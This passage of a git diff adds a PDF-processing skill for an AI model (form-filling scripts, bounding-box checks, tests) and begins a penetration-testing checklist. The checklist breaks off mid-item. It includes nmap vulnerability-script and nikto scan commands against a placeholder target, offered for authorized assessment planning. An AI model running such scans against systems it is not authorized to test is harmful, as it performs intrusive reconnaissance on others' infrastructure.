+elements.append(title) + +# Add table with advanced styling +table = Table(data) +table.setStyle(TableStyle([ + ('BACKGROUND', (0, 0), (-1, 0), colors.grey), + ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke), + ('ALIGN', (0, 0), (-1, -1), 'CENTER'), + ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'), + ('FONTSIZE', (0, 0), (-1, 0), 14), + ('BOTTOMPADDING', (0, 0), (-1, 0), 12), + ('BACKGROUND', (0, 1), (-1, -1), colors.beige), + ('GRID', (0, 0), (-1, -1), 1, colors.black) +])) +elements.append(table) + +doc.build(elements) +``` + +## Complex Workflows + +### Extract Figures/Images from PDF + +#### Method 1: Using pdfimages (fastest) +```bash +# Extract all images with original quality +pdfimages -all document.pdf images/img +``` + +#### Method 2: Using pypdfium2 + Image Processing +```python +import pypdfium2 as pdfium +from PIL import Image +import numpy as np + +def extract_figures(pdf_path, output_dir): + pdf = pdfium.PdfDocument(pdf_path) + + for page_num, page in enumerate(pdf): + # Render high-resolution page + bitmap = page.render(scale=3.0) + img = bitmap.to_pil() + + # Convert to numpy for processing + img_array = np.array(img) + + # Simple figure detection (non-white regions) + mask = np.any(img_array != [255, 255, 255], axis=2) + + # Find contours and extract bounding boxes + # (This is simplified - real implementation would need more sophisticated detection) + + # Save detected figures + # ... implementation depends on specific needs +``` + +### Batch PDF Processing with Error Handling +```python +import os +import glob +from pypdf import PdfReader, PdfWriter +import logging + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger(__name__) + +def batch_process_pdfs(input_dir, operation='merge'): + pdf_files = glob.glob(os.path.join(input_dir, "*.pdf")) + + if operation == 'merge': + writer = PdfWriter() + for pdf_file in pdf_files: + try: + reader = PdfReader(pdf_file) + for page in reader.pages: + writer.add_page(page) + logger.info(f"Processed: {pdf_file}") + except Exception as e: + logger.error(f"Failed to process {pdf_file}: {e}") + continue + + with open("batch_merged.pdf", "wb") as output: + writer.write(output) + + elif operation == 'extract_text': + for pdf_file in pdf_files: + try: + reader = PdfReader(pdf_file) + text = "" + for page in reader.pages: + text += page.extract_text() + + output_file = pdf_file.replace('.pdf', '.txt') + with open(output_file, 'w', encoding='utf-8') as f: + f.write(text) + logger.info(f"Extracted text from: {pdf_file}") + + except Exception as e: + logger.error(f"Failed to extract text from {pdf_file}: {e}") + continue +``` + +### Advanced PDF Cropping +```python +from pypdf import PdfWriter, PdfReader + +reader = PdfReader("input.pdf") +writer = PdfWriter() + +# Crop page (left, bottom, right, top in points) +page = reader.pages[0] +page.mediabox.left = 50 +page.mediabox.bottom = 50 +page.mediabox.right = 550 +page.mediabox.top = 750 + +writer.add_page(page) +with open("cropped.pdf", "wb") as output: + writer.write(output) +``` + +## Performance Optimization Tips + +### 1. For Large PDFs +- Use streaming approaches instead of loading entire PDF in memory +- Use `qpdf --split-pages` for splitting large files +- Process pages individually with pypdfium2 + +### 2. For Text Extraction +- `pdftotext -bbox-layout` is fastest for plain text extraction +- Use pdfplumber for structured data and tables +- Avoid `pypdf.extract_text()` for very large documents + +### 3. For Image Extraction +- `pdfimages` is much faster than rendering pages +- Use low resolution for previews, high resolution for final output + +### 4. For Form Filling +- pdf-lib maintains form structure better than most alternatives +- Pre-validate form fields before processing + +### 5. Memory Management +```python +# Process PDFs in chunks +def process_large_pdf(pdf_path, chunk_size=10): + reader = PdfReader(pdf_path) + total_pages = len(reader.pages) + + for start_idx in range(0, total_pages, chunk_size): + end_idx = min(start_idx + chunk_size, total_pages) + writer = PdfWriter() + + for i in range(start_idx, end_idx): + writer.add_page(reader.pages[i]) + + # Process chunk + with open(f"chunk_{start_idx//chunk_size}.pdf", "wb") as output: + writer.write(output) +``` + +## Troubleshooting Common Issues + +### Encrypted PDFs +```python +# Handle password-protected PDFs +from pypdf import PdfReader + +try: + reader = PdfReader("encrypted.pdf") + if reader.is_encrypted: + reader.decrypt("password") +except Exception as e: + print(f"Failed to decrypt: {e}") +``` + +### Corrupted PDFs +```bash +# Use qpdf to repair +qpdf --check corrupted.pdf +qpdf --replace-input corrupted.pdf +``` + +### Text Extraction Issues +```python +# Fallback to OCR for scanned PDFs +import pytesseract +from pdf2image import convert_from_path + +def extract_text_with_ocr(pdf_path): + images = convert_from_path(pdf_path) + text = "" + for i, image in enumerate(images): + text += pytesseract.image_to_string(image) + return text +``` + +## License Information + +- **pypdf**: BSD License +- **pdfplumber**: MIT License +- **pypdfium2**: Apache/BSD License +- **reportlab**: BSD License +- **poppler-utils**: GPL-2 License +- **qpdf**: Apache License +- **pdf-lib**: MIT License +- **pdfjs-dist**: Apache License \ No newline at end of file diff --git a/skills/pdf/scripts/check_bounding_boxes.py b/skills/pdf/scripts/check_bounding_boxes.py new file mode 100644 index 00000000..7443660c --- /dev/null +++ b/skills/pdf/scripts/check_bounding_boxes.py @@ -0,0 +1,70 @@ +from dataclasses import dataclass +import json +import sys + + +# Script to check that the `fields.json` file that Claude creates when analyzing PDFs +# does not have overlapping bounding boxes. See forms.md. + + +@dataclass +class RectAndField: + rect: list[float] + rect_type: str + field: dict + + +# Returns a list of messages that are printed to stdout for Claude to read. +def get_bounding_box_messages(fields_json_stream) -> list[str]: + messages = [] + fields = json.load(fields_json_stream) + messages.append(f"Read {len(fields['form_fields'])} fields") + + def rects_intersect(r1, r2): + disjoint_horizontal = r1[0] >= r2[2] or r1[2] <= r2[0] + disjoint_vertical = r1[1] >= r2[3] or r1[3] <= r2[1] + return not (disjoint_horizontal or disjoint_vertical) + + rects_and_fields = [] + for f in fields["form_fields"]: + rects_and_fields.append(RectAndField(f["label_bounding_box"], "label", f)) + rects_and_fields.append(RectAndField(f["entry_bounding_box"], "entry", f)) + + has_error = False + for i, ri in enumerate(rects_and_fields): + # This is O(N^2); we can optimize if it becomes a problem. + for j in range(i + 1, len(rects_and_fields)): + rj = rects_and_fields[j] + if ri.field["page_number"] == rj.field["page_number"] and rects_intersect(ri.rect, rj.rect): + has_error = True + if ri.field is rj.field: + messages.append(f"FAILURE: intersection between label and entry bounding boxes for `{ri.field['description']}` ({ri.rect}, {rj.rect})") + else: + messages.append(f"FAILURE: intersection between {ri.rect_type} bounding box for `{ri.field['description']}` ({ri.rect}) and {rj.rect_type} bounding box for `{rj.field['description']}` ({rj.rect})") + if len(messages) >= 20: + messages.append("Aborting further checks; fix bounding boxes and try again") + return messages + if ri.rect_type == "entry": + if "entry_text" in ri.field: + font_size = ri.field["entry_text"].get("font_size", 14) + entry_height = ri.rect[3] - ri.rect[1] + if entry_height < font_size: + has_error = True + messages.append(f"FAILURE: entry bounding box height ({entry_height}) for `{ri.field['description']}` is too short for the text content (font size: {font_size}). Increase the box height or decrease the font size.") + if len(messages) >= 20: + messages.append("Aborting further checks; fix bounding boxes and try again") + return messages + + if not has_error: + messages.append("SUCCESS: All bounding boxes are valid") + return messages + +if __name__ == "__main__": + if len(sys.argv) != 2: + print("Usage: check_bounding_boxes.py [fields.json]") + sys.exit(1) + # Input file should be in the `fields.json` format described in forms.md. + with open(sys.argv[1]) as f: + messages = get_bounding_box_messages(f) + for msg in messages: + print(msg) diff --git a/skills/pdf/scripts/check_bounding_boxes_test.py b/skills/pdf/scripts/check_bounding_boxes_test.py new file mode 100644 index 00000000..1dbb463c --- /dev/null +++ b/skills/pdf/scripts/check_bounding_boxes_test.py @@ -0,0 +1,226 @@ +import unittest +import json +import io +from check_bounding_boxes import get_bounding_box_messages + + +# Currently this is not run automatically in CI; it's just for documentation and manual checking. +class TestGetBoundingBoxMessages(unittest.TestCase): + + def create_json_stream(self, data): + """Helper to create a JSON stream from data""" + return io.StringIO(json.dumps(data)) + + def test_no_intersections(self): + """Test case with no bounding box intersections""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 30] + }, + { + "description": "Email", + "page_number": 1, + "label_bounding_box": [10, 40, 50, 60], + "entry_bounding_box": [60, 40, 150, 60] + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("SUCCESS" in msg for msg in messages)) + self.assertFalse(any("FAILURE" in msg for msg in messages)) + + def test_label_entry_intersection_same_field(self): + """Test intersection between label and entry of the same field""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 60, 30], + "entry_bounding_box": [50, 10, 150, 30] # Overlaps with label + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("FAILURE" in msg and "intersection" in msg for msg in messages)) + self.assertFalse(any("SUCCESS" in msg for msg in messages)) + + def test_intersection_between_different_fields(self): + """Test intersection between bounding boxes of different fields""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 30] + }, + { + "description": "Email", + "page_number": 1, + "label_bounding_box": [40, 20, 80, 40], # Overlaps with Name's boxes + "entry_bounding_box": [160, 10, 250, 30] + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("FAILURE" in msg and "intersection" in msg for msg in messages)) + self.assertFalse(any("SUCCESS" in msg for msg in messages)) + + def test_different_pages_no_intersection(self): + """Test that boxes on different pages don't count as intersecting""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 30] + }, + { + "description": "Email", + "page_number": 2, + "label_bounding_box": [10, 10, 50, 30], # Same coordinates but different page + "entry_bounding_box": [60, 10, 150, 30] + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("SUCCESS" in msg for msg in messages)) + self.assertFalse(any("FAILURE" in msg for msg in messages)) + + def test_entry_height_too_small(self): + """Test that entry box height is checked against font size""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 20], # Height is 10 + "entry_text": { + "font_size": 14 # Font size larger than height + } + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("FAILURE" in msg and "height" in msg for msg in messages)) + self.assertFalse(any("SUCCESS" in msg for msg in messages)) + + def test_entry_height_adequate(self): + """Test that adequate entry box height passes""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 30], # Height is 20 + "entry_text": { + "font_size": 14 # Font size smaller than height + } + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("SUCCESS" in msg for msg in messages)) + self.assertFalse(any("FAILURE" in msg for msg in messages)) + + def test_default_font_size(self): + """Test that default font size is used when not specified""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 20], # Height is 10 + "entry_text": {} # No font_size specified, should use default 14 + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("FAILURE" in msg and "height" in msg for msg in messages)) + self.assertFalse(any("SUCCESS" in msg for msg in messages)) + + def test_no_entry_text(self): + """Test that missing entry_text doesn't cause height check""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [60, 10, 150, 20] # Small height but no entry_text + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("SUCCESS" in msg for msg in messages)) + self.assertFalse(any("FAILURE" in msg for msg in messages)) + + def test_multiple_errors_limit(self): + """Test that error messages are limited to prevent excessive output""" + fields = [] + # Create many overlapping fields + for i in range(25): + fields.append({ + "description": f"Field{i}", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], # All overlap + "entry_bounding_box": [20, 15, 60, 35] # All overlap + }) + + data = {"form_fields": fields} + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + # Should abort after ~20 messages + self.assertTrue(any("Aborting" in msg for msg in messages)) + # Should have some FAILURE messages but not hundreds + failure_count = sum(1 for msg in messages if "FAILURE" in msg) + self.assertGreater(failure_count, 0) + self.assertLess(len(messages), 30) # Should be limited + + def test_edge_touching_boxes(self): + """Test that boxes touching at edges don't count as intersecting""" + data = { + "form_fields": [ + { + "description": "Name", + "page_number": 1, + "label_bounding_box": [10, 10, 50, 30], + "entry_bounding_box": [50, 10, 150, 30] # Touches at x=50 + } + ] + } + + stream = self.create_json_stream(data) + messages = get_bounding_box_messages(stream) + self.assertTrue(any("SUCCESS" in msg for msg in messages)) + self.assertFalse(any("FAILURE" in msg for msg in messages)) + + +if __name__ == '__main__': + unittest.main() diff --git a/skills/pdf/scripts/check_fillable_fields.py b/skills/pdf/scripts/check_fillable_fields.py new file mode 100644 index 00000000..dc43d182 --- /dev/null +++ b/skills/pdf/scripts/check_fillable_fields.py @@ -0,0 +1,12 @@ +import sys +from pypdf import PdfReader + + +# Script for Claude to run to determine whether a PDF has fillable form fields. See forms.md. + + +reader = PdfReader(sys.argv[1]) +if (reader.get_fields()): + print("This PDF has fillable form fields") +else: + print("This PDF does not have fillable form fields; you will need to visually determine where to enter data") diff --git a/skills/pdf/scripts/convert_pdf_to_images.py b/skills/pdf/scripts/convert_pdf_to_images.py new file mode 100644 index 00000000..f8a4ec52 --- /dev/null +++ b/skills/pdf/scripts/convert_pdf_to_images.py @@ -0,0 +1,35 @@ +import os +import sys + +from pdf2image import convert_from_path + + +# Converts each page of a PDF to a PNG image. + + +def convert(pdf_path, output_dir, max_dim=1000): + images = convert_from_path(pdf_path, dpi=200) + + for i, image in enumerate(images): + # Scale image if needed to keep width/height under `max_dim` + width, height = image.size + if width > max_dim or height > max_dim: + scale_factor = min(max_dim / width, max_dim / height) + new_width = int(width * scale_factor) + new_height = int(height * scale_factor) + image = image.resize((new_width, new_height)) + + image_path = os.path.join(output_dir, f"page_{i+1}.png") + image.save(image_path) + print(f"Saved page {i+1} as {image_path} (size: {image.size})") + + print(f"Converted {len(images)} pages to PNG images") + + +if __name__ == "__main__": + if len(sys.argv) != 3: + print("Usage: convert_pdf_to_images.py [input pdf] [output directory]") + sys.exit(1) + pdf_path = sys.argv[1] + output_directory = sys.argv[2] + convert(pdf_path, output_directory) diff --git a/skills/pdf/scripts/create_validation_image.py b/skills/pdf/scripts/create_validation_image.py new file mode 100644 index 00000000..4913f8f8 --- /dev/null +++ b/skills/pdf/scripts/create_validation_image.py @@ -0,0 +1,41 @@ +import json +import sys + +from PIL import Image, ImageDraw + + +# Creates "validation" images with rectangles for the bounding box information that +# Claude creates when determining where to add text annotations in PDFs. See forms.md. + + +def create_validation_image(page_number, fields_json_path, input_path, output_path): + # Input file should be in the `fields.json` format described in forms.md. + with open(fields_json_path, 'r') as f: + data = json.load(f) + + img = Image.open(input_path) + draw = ImageDraw.Draw(img) + num_boxes = 0 + + for field in data["form_fields"]: + if field["page_number"] == page_number: + entry_box = field['entry_bounding_box'] + label_box = field['label_bounding_box'] + # Draw red rectangle over entry bounding box and blue rectangle over the label. + draw.rectangle(entry_box, outline='red', width=2) + draw.rectangle(label_box, outline='blue', width=2) + num_boxes += 2 + + img.save(output_path) + print(f"Created validation image at {output_path} with {num_boxes} bounding boxes") + + +if __name__ == "__main__": + if len(sys.argv) != 5: + print("Usage: create_validation_image.py [page number] [fields.json file] [input image path] [output image path]") + sys.exit(1) + page_number = int(sys.argv[1]) + fields_json_path = sys.argv[2] + input_image_path = sys.argv[3] + output_image_path = sys.argv[4] + create_validation_image(page_number, fields_json_path, input_image_path, output_image_path) diff --git a/skills/pdf/scripts/extract_form_field_info.py b/skills/pdf/scripts/extract_form_field_info.py new file mode 100644 index 00000000..f42a2df8 --- /dev/null +++ b/skills/pdf/scripts/extract_form_field_info.py @@ -0,0 +1,152 @@ +import json +import sys + +from pypdf import PdfReader + + +# Extracts data for the fillable form fields in a PDF and outputs JSON that +# Claude uses to fill the fields. See forms.md. + + +# This matches the format used by PdfReader `get_fields` and `update_page_form_field_values` methods. +def get_full_annotation_field_id(annotation): + components = [] + while annotation: + field_name = annotation.get('/T') + if field_name: + components.append(field_name) + annotation = annotation.get('/Parent') + return ".".join(reversed(components)) if components else None + + +def make_field_dict(field, field_id): + field_dict = {"field_id": field_id} + ft = field.get('/FT') + if ft == "/Tx": + field_dict["type"] = "text" + elif ft == "/Btn": + field_dict["type"] = "checkbox" # radio groups handled separately + states = field.get("/_States_", []) + if len(states) == 2: + # "/Off" seems to always be the unchecked value, as suggested by + # https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448 + # It can be either first or second in the "/_States_" list. + if "/Off" in states: + field_dict["checked_value"] = states[0] if states[0] != "/Off" else states[1] + field_dict["unchecked_value"] = "/Off" + else: + print(f"Unexpected state values for checkbox `${field_id}`. Its checked and unchecked values may not be correct; if you're trying to check it, visually verify the results.") + field_dict["checked_value"] = states[0] + field_dict["unchecked_value"] = states[1] + elif ft == "/Ch": + field_dict["type"] = "choice" + states = field.get("/_States_", []) + field_dict["choice_options"] = [{ + "value": state[0], + "text": state[1], + } for state in states] + else: + field_dict["type"] = f"unknown ({ft})" + return field_dict + + +# Returns a list of fillable PDF fields: +# [ +# { +# "field_id": "name", +# "page": 1, +# "type": ("text", "checkbox", "radio_group", or "choice") +# // Per-type additional fields described in forms.md +# }, +# ] +def get_field_info(reader: PdfReader): + fields = reader.get_fields() + + field_info_by_id = {} + possible_radio_names = set() + + for field_id, field in fields.items(): + # Skip if this is a container field with children, except that it might be + # a parent group for radio button options. + if field.get("/Kids"): + if field.get("/FT") == "/Btn": + possible_radio_names.add(field_id) + continue + field_info_by_id[field_id] = make_field_dict(field, field_id) + + # Bounding rects are stored in annotations in page objects. + + # Radio button options have a separate annotation for each choice; + # all choices have the same field name. + # See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html + radio_fields_by_id = {} + + for page_index, page in enumerate(reader.pages): + annotations = page.get('/Annots', []) + for ann in annotations: + field_id = get_full_annotation_field_id(ann) + if field_id in field_info_by_id: + field_info_by_id[field_id]["page"] = page_index + 1 + field_info_by_id[field_id]["rect"] = ann.get('/Rect') + elif field_id in possible_radio_names: + try: + # ann['/AP']['/N'] should have two items. One of them is '/Off', + # the other is the active value. + on_values = [v for v in ann["/AP"]["/N"] if v != "/Off"] + except KeyError: + continue + if len(on_values) == 1: + rect = ann.get("/Rect") + if field_id not in radio_fields_by_id: + radio_fields_by_id[field_id] = { + "field_id": field_id, + "type": "radio_group", + "page": page_index + 1, + "radio_options": [], + } + # Note: at least on macOS 15.7, Preview.app doesn't show selected + # radio buttons correctly. (It does if you remove the leading slash + # from the value, but that causes them not to appear correctly in + # Chrome/Firefox/Acrobat/etc). + radio_fields_by_id[field_id]["radio_options"].append({ + "value": on_values[0], + "rect": rect, + }) + + # Some PDFs have form field definitions without corresponding annotations, + # so we can't tell where they are. Ignore these fields for now. + fields_with_location = [] + for field_info in field_info_by_id.values(): + if "page" in field_info: + fields_with_location.append(field_info) + else: + print(f"Unable to determine location for field id: {field_info.get('field_id')}, ignoring") + + # Sort by page number, then Y position (flipped in PDF coordinate system), then X. + def sort_key(f): + if "radio_options" in f: + rect = f["radio_options"][0]["rect"] or [0, 0, 0, 0] + else: + rect = f.get("rect") or [0, 0, 0, 0] + adjusted_position = [-rect[1], rect[0]] + return [f.get("page"), adjusted_position] + + sorted_fields = fields_with_location + list(radio_fields_by_id.values()) + sorted_fields.sort(key=sort_key) + + return sorted_fields + + +def write_field_info(pdf_path: str, json_output_path: str): + reader = PdfReader(pdf_path) + field_info = get_field_info(reader) + with open(json_output_path, "w") as f: + json.dump(field_info, f, indent=2) + print(f"Wrote {len(field_info)} fields to {json_output_path}") + + +if __name__ == "__main__": + if len(sys.argv) != 3: + print("Usage: extract_form_field_info.py [input pdf] [output json]") + sys.exit(1) + write_field_info(sys.argv[1], sys.argv[2]) diff --git a/skills/pdf/scripts/fill_fillable_fields.py b/skills/pdf/scripts/fill_fillable_fields.py new file mode 100644 index 00000000..ac35753c --- /dev/null +++ b/skills/pdf/scripts/fill_fillable_fields.py @@ -0,0 +1,114 @@ +import json +import sys + +from pypdf import PdfReader, PdfWriter + +from extract_form_field_info import get_field_info + + +# Fills fillable form fields in a PDF. See forms.md. + + +def fill_pdf_fields(input_pdf_path: str, fields_json_path: str, output_pdf_path: str): + with open(fields_json_path) as f: + fields = json.load(f) + # Group by page number. + fields_by_page = {} + for field in fields: + if "value" in field: + field_id = field["field_id"] + page = field["page"] + if page not in fields_by_page: + fields_by_page[page] = {} + fields_by_page[page][field_id] = field["value"] + + reader = PdfReader(input_pdf_path) + + has_error = False + field_info = get_field_info(reader) + fields_by_ids = {f["field_id"]: f for f in field_info} + for field in fields: + existing_field = fields_by_ids.get(field["field_id"]) + if not existing_field: + has_error = True + print(f"ERROR: `{field['field_id']}` is not a valid field ID") + elif field["page"] != existing_field["page"]: + has_error = True + print(f"ERROR: Incorrect page number for `{field['field_id']}` (got {field['page']}, expected {existing_field['page']})") + else: + if "value" in field: + err = validation_error_for_field_value(existing_field, field["value"]) + if err: + print(err) + has_error = True + if has_error: + sys.exit(1) + + writer = PdfWriter(clone_from=reader) + for page, field_values in fields_by_page.items(): + writer.update_page_form_field_values(writer.pages[page - 1], field_values, auto_regenerate=False) + + # This seems to be necessary for many PDF viewers to format the form values correctly. + # It may cause the viewer to show a "save changes" dialog even if the user doesn't make any changes. + writer.set_need_appearances_writer(True) + + with open(output_pdf_path, "wb") as f: + writer.write(f) + + +def validation_error_for_field_value(field_info, field_value): + field_type = field_info["type"] + field_id = field_info["field_id"] + if field_type == "checkbox": + checked_val = field_info["checked_value"] + unchecked_val = field_info["unchecked_value"] + if field_value != checked_val and field_value != unchecked_val: + return f'ERROR: Invalid value "{field_value}" for checkbox field "{field_id}". The checked value is "{checked_val}" and the unchecked value is "{unchecked_val}"' + elif field_type == "radio_group": + option_values = [opt["value"] for opt in field_info["radio_options"]] + if field_value not in option_values: + return f'ERROR: Invalid value "{field_value}" for radio group field "{field_id}". Valid values are: {option_values}' + elif field_type == "choice": + choice_values = [opt["value"] for opt in field_info["choice_options"]] + if field_value not in choice_values: + return f'ERROR: Invalid value "{field_value}" for choice field "{field_id}". Valid values are: {choice_values}' + return None + + +# pypdf (at least version 5.7.0) has a bug when setting the value for a selection list field. +# In _writer.py around line 966: +# +# if field.get(FA.FT, "/Tx") == "/Ch" and field_flags & FA.FfBits.Combo == 0: +# txt = "\n".join(annotation.get_inherited(FA.Opt, [])) +# +# The problem is that for selection lists, `get_inherited` returns a list of two-element lists like +# [["value1", "Text 1"], ["value2", "Text 2"], ...] +# This causes `join` to throw a TypeError because it expects an iterable of strings. +# The horrible workaround is to patch `get_inherited` to return a list of the value strings. +# We call the original method and adjust the return value only if the argument to `get_inherited` +# is `FA.Opt` and if the return value is a list of two-element lists. +def monkeypatch_pydpf_method(): + from pypdf.generic import DictionaryObject + from pypdf.constants import FieldDictionaryAttributes + + original_get_inherited = DictionaryObject.get_inherited + + def patched_get_inherited(self, key: str, default = None): + result = original_get_inherited(self, key, default) + if key == FieldDictionaryAttributes.Opt: + if isinstance(result, list) and all(isinstance(v, list) and len(v) == 2 for v in result): + result = [r[0] for r in result] + return result + + DictionaryObject.get_inherited = patched_get_inherited + + +if __name__ == "__main__": + if len(sys.argv) != 4: + print("Usage: fill_fillable_fields.py [input pdf] [field_values.json] [output pdf]") + sys.exit(1) + monkeypatch_pydpf_method() + input_pdf = sys.argv[1] + fields_json = sys.argv[2] + output_pdf = sys.argv[3] + fill_pdf_fields(input_pdf, fields_json, output_pdf) diff --git a/skills/pdf/scripts/fill_pdf_form_with_annotations.py b/skills/pdf/scripts/fill_pdf_form_with_annotations.py new file mode 100644 index 00000000..f9805313 --- /dev/null +++ b/skills/pdf/scripts/fill_pdf_form_with_annotations.py @@ -0,0 +1,108 @@ +import json +import sys + +from pypdf import PdfReader, PdfWriter +from pypdf.annotations import FreeText + + +# Fills a PDF by adding text annotations defined in `fields.json`. See forms.md. + + +def transform_coordinates(bbox, image_width, image_height, pdf_width, pdf_height): + """Transform bounding box from image coordinates to PDF coordinates""" + # Image coordinates: origin at top-left, y increases downward + # PDF coordinates: origin at bottom-left, y increases upward + x_scale = pdf_width / image_width + y_scale = pdf_height / image_height + + left = bbox[0] * x_scale + right = bbox[2] * x_scale + + # Flip Y coordinates for PDF + top = pdf_height - (bbox[1] * y_scale) + bottom = pdf_height - (bbox[3] * y_scale) + + return left, bottom, right, top + + +def fill_pdf_form(input_pdf_path, fields_json_path, output_pdf_path): + """Fill the PDF form with data from fields.json""" + + # `fields.json` format described in forms.md. + with open(fields_json_path, "r") as f: + fields_data = json.load(f) + + # Open the PDF + reader = PdfReader(input_pdf_path) + writer = PdfWriter() + + # Copy all pages to writer + writer.append(reader) + + # Get PDF dimensions for each page + pdf_dimensions = {} + for i, page in enumerate(reader.pages): + mediabox = page.mediabox + pdf_dimensions[i + 1] = [mediabox.width, mediabox.height] + + # Process each form field + annotations = [] + for field in fields_data["form_fields"]: + page_num = field["page_number"] + + # Get page dimensions and transform coordinates. + page_info = next(p for p in fields_data["pages"] if p["page_number"] == page_num) + image_width = page_info["image_width"] + image_height = page_info["image_height"] + pdf_width, pdf_height = pdf_dimensions[page_num] + + transformed_entry_box = transform_coordinates( + field["entry_bounding_box"], + image_width, image_height, + pdf_width, pdf_height + ) + + # Skip empty fields + if "entry_text" not in field or "text" not in field["entry_text"]: + continue + entry_text = field["entry_text"] + text = entry_text["text"] + if not text: + continue + + font_name = entry_text.get("font", "Arial") + font_size = str(entry_text.get("font_size", 14)) + "pt" + font_color = entry_text.get("font_color", "000000") + + # Font size/color seems to not work reliably across viewers: + # https://github.com/py-pdf/pypdf/issues/2084 + annotation = FreeText( + text=text, + rect=transformed_entry_box, + font=font_name, + font_size=font_size, + font_color=font_color, + border_color=None, + background_color=None, + ) + annotations.append(annotation) + # page_number is 0-based for pypdf + writer.add_annotation(page_number=page_num - 1, annotation=annotation) + + # Save the filled PDF + with open(output_pdf_path, "wb") as output: + writer.write(output) + + print(f"Successfully filled PDF form and saved to {output_pdf_path}") + print(f"Added {len(annotations)} text annotations") + + +if __name__ == "__main__": + if len(sys.argv) != 4: + print("Usage: fill_pdf_form_with_annotations.py [input pdf] [fields.json] [output pdf]") + sys.exit(1) + input_pdf = sys.argv[1] + fields_json = sys.argv[2] + output_pdf = sys.argv[3] + + fill_pdf_form(input_pdf, fields_json, output_pdf) \ No newline at end of file diff --git a/skills/pentest-checklist/SKILL.md b/skills/pentest-checklist/SKILL.md new file mode 100644 index 00000000..f02c9b19 --- /dev/null +++ b/skills/pentest-checklist/SKILL.md @@ -0,0 +1,331 @@ +--- +name: Pentest Checklist +description: This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements. +--- + +# Pentest Checklist + +## Purpose + +Provide a comprehensive checklist for planning, executing, and following up on penetration tests. Ensure thorough preparation, proper scoping, and effective remediation of discovered vulnerabilities. + +## Inputs/Prerequisites + +- Clear business objectives for testing +- Target environment information +- Budget and timeline constraints +- Stakeholder contacts and authorization +- Legal agreements and scope documents + +## Outputs/Deliverables + +- Defined pentest scope and objectives +- Prepared testing environment +- Security monitoring data +- Vulnerability findings report +- Remediation plan and verification + +## Core Workflow + +### Phase 1: Scope Definition + +#### Define Objectives + +- [ ] **Clarify testing purpose** - Determine goals (find vulnerabilities, compliance, customer assurance) +- [ ] **Validate pentest necessity** - Ensure penetration test is the right solution +- [ ] **Align outcomes with objectives** - Define success criteria + +**Reference Questions:** +- Why are you doing this pentest? +- What specific outcomes do you expect? +- What will you do with the findings? + +#### Know Your Test Types + +| Type | Purpose | Scope | +|------|---------|-------| +| External Pentest | Assess external attack surface | Public-facing systems | +| Internal Pentest | Assess insider threat risk | Internal network | +| Web Application | Find application vulnerabilities | Specific applications | +| Social Engineering | Test human security | Employees, processes | +| Red Team | Full adversary simulation | Entire organization | + +#### Enumerate Likely Threats + +- [ ] **Identify high-risk areas** - Where could damage occur? +- [ ] **Assess data sensitivity** - What data could be compromised? +- [ ] **Review legacy systems** - Old systems often have vulnerabilities +- [ ] **Map critical assets** - Prioritize testing targets + +#### Define Scope + +- [ ] **List in-scope systems** - IPs, domains, applications +- [ ] **Define out-of-scope items** - Systems to avoid +- [ ] **Set testing boundaries** - What techniques are allowed? +- [ ] **Document exclusions** - Third-party systems, production data + +#### Budget Planning + +| Factor | Consideration | +|--------|---------------| +| Asset Value | Higher value = higher investment | +| Complexity | More systems = more time | +| Depth Required | Thorough testing costs more | +| Reputation Value | Brand-name firms cost more | + +**Budget Reality Check:** +- Cheap pentests often produce poor results +- Align budget with asset criticality +- Consider ongoing vs. one-time testing + +### Phase 2: Environment Preparation + +#### Prepare Test Environment + +- [ ] **Production vs. staging decision** - Determine where to test +- [ ] **Set testing limits** - No DoS on production +- [ ] **Schedule testing window** - Minimize business impact +- [ ] **Create test accounts** - Provide appropriate access levels + +**Environment Options:** +``` +Production - Realistic but risky +Staging - Safer but may differ from production +Clone - Ideal but resource-intensive +``` + +#### Run Preliminary Scans + +- [ ] **Execute vulnerability scanners** - Find known issues first +- [ ] **Fix obvious vulnerabilities** - Don't waste pentest time +- [ ] **Document existing issues** - Share with testers + +**Common Pre-Scan Tools:** +```bash +# Network vulnerability scan +nmap -sV --script vuln TARGET + +# Web vulnerability scan +nikto -h http://TARGET +``` + +#### Review Security Policy + +- [ ] **Verify compliance 